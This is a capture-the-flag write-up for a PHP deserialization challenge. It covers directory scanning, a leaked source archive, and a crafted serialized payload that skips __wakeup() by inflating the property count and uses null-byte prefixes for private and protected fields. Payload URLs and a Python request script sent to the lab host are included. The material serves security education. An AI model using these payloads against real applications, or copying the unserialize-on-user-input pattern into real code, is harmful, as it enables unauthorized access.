[BUUCTF] [Geek Challenge 2019] PHP Writeup
0x00 test site
Directory scan
Source code leak
Deserialization
0x01 problem solving
dirsearch
-u 指定url
-e 指定网站语言
-w 可以加上自己的字典(加上路径)
-r 递归跑(查到一个目录后,在目录后重复跑,很慢,不建议用)
python3 dirsearch.py -u http://26e0c1d7-d98e-4a34-9ffe-901887297fb5.node3.buuoj.cn/ -e php
Royal sword is also OK
Don't sweep too fast
/www.zip
index.php
Pass in a select parameter in GET mode, and then deserialize
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
Contains flag.php, so you must first enter a serialized parameter
class.php
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
Declare a Name class, with username, password, and both are decorated with private
Execute __destruct() and get the flag if the conditions are met: password=100, username=admin
<?php
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}
$a = new Name('admin', 100);
var_dump(serialize($a));
?>
string(77) "O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}"
That is
O:4:"Name":2:{
s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
During deserialization, the __wakeup() magic method will be executed first, but this method will reassign our username, so what we have to consider is how to skip __wakeup() and execute __destruct
Skip __wakeup()
When deserializing the string, when the value of the number of attributes is greater than the actual number of attributes, the execution of the __wakeup() function will be skipped
O:4:"Name":3:{
s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
And because this declaration variable is private
The fields declared private are private fields, which are only visible in the declared class, and are not visible in the subclasses of the class and the object instances of the class. Therefore, when the field name of a private field is serialized, the class name and field name will be prefixed with 0. The length of the string also includes the length of the prefix
Let's transform the serialization again
O:4:"Name":3:{
s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
Use a GET request to pass in the prepared serialization as a parameter of select
/?select=O:4:%22Name%22:3:{
s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}
flag{00257f4c-c053-49e6-b725-b753c91786d8}
__wakeup() method
effect:
Contrary to the __sleep() function, the __sleep() function is automatically called during sequence serialization. The __wakeup() function is automatically called during deserialization.
Bypass:
Deserialize the string, when the value of the number of attributes is greater than the number of real attributes, the execution of the __wakeup function will be skipped.
In this question, the wakeup method will cause username to become guest, so you need to bypass this method by changing the number of objects in the serialized string.
The 2 after the name means that there are 2 attributes in the class, but if we change 2 to 3, the __wakeup() function will be bypassed.
import requests
url ="http://26e0c1d7-d98e-4a34-9ffe-901887297fb5.node3.buuoj.cn/"
html = requests.get(url+'?select=O:4:"Name":3:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}')
print(html.text)
Private public protected difference comparison
Both of the following can output serialized results
var_dump(serialize($a));
$b=serialize($a);
echo $b;
?select=O:4:%22Name%22:3:{
s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;s:3:%22100%22;}
You need to change the 2 behind the Name to another number, and change the %20 of the space to %00
Only public modification, the original structure is good;
private modification needs to use %00Name%00;
protected modification needs to use %00*%00username
%xx, followed by a hexadecimal value, you can check the corresponding ASCII code table to find the corresponding output character
%00
不可见的空字符(Null) ASCII码十进制为0
%20
空格
%00 is added here because the two variables username and password are both private variables. When serialization is formed, %00 will be automatically performed before and after the class name in the variable, but it will be lost when copied.
Here, 2 is changed to a number greater than 2, in order to bypass the __wakeup() function and prevent the username from being overwritten;
The %00 is added because they are all private variables, and there will be whitespace before and after the class name in the variable, which will be lost when copied. After getting the payload, submit it to get the flag
private
Remove the Name in public, the number becomes smaller
The fields declared private are private fields, which are only visible in the declared class, and are not visible in the subclasses of the class and the object instances of the class. Therefore, when the field name of a private field is serialized, the class name and the field name will be prefixed with \0. The length of the string also includes the length of the prefix added. The \0 character is also calculated in length.
<?php
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}
$a = new Name('admin', 100);
var_dump(serialize($a));
?>
string(77) "O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}"
public
<?php
class Name{
public $username = 'nonono';
public $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}
$a = new Name('admin', 100);
var_dump(serialize($a));
?>
string(63) "O:4:"Name":2:{s:8:"username";s:5:"admin";s:8:"password";i:100;}"
protected
Name is replaced with
*
The field declared protected is a protected field, which is visible in the declared class and its subclasses, but not visible in the object instance of the class. Therefore, when the field name of the protected field is serialized, the field name will be prefixed with \0*\0. Here \0 means the character with ASCII code 0 (invisible character), not the combination of \0. If you pass \0*\0username directly on the URL, an error will be reported, because it is not actually \0, but it is used to replace the character with ASCII value 0. You must use python to pass the value.
<?php
class Name{
protected $username = 'nonono';
protected $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}
$a = new Name('admin', 100);
var_dump(serialize($a));
?>
string(71) "O:4:"Name":2:{s:11:" * username";s:5:"admin";s:11:" * password";i:100;}"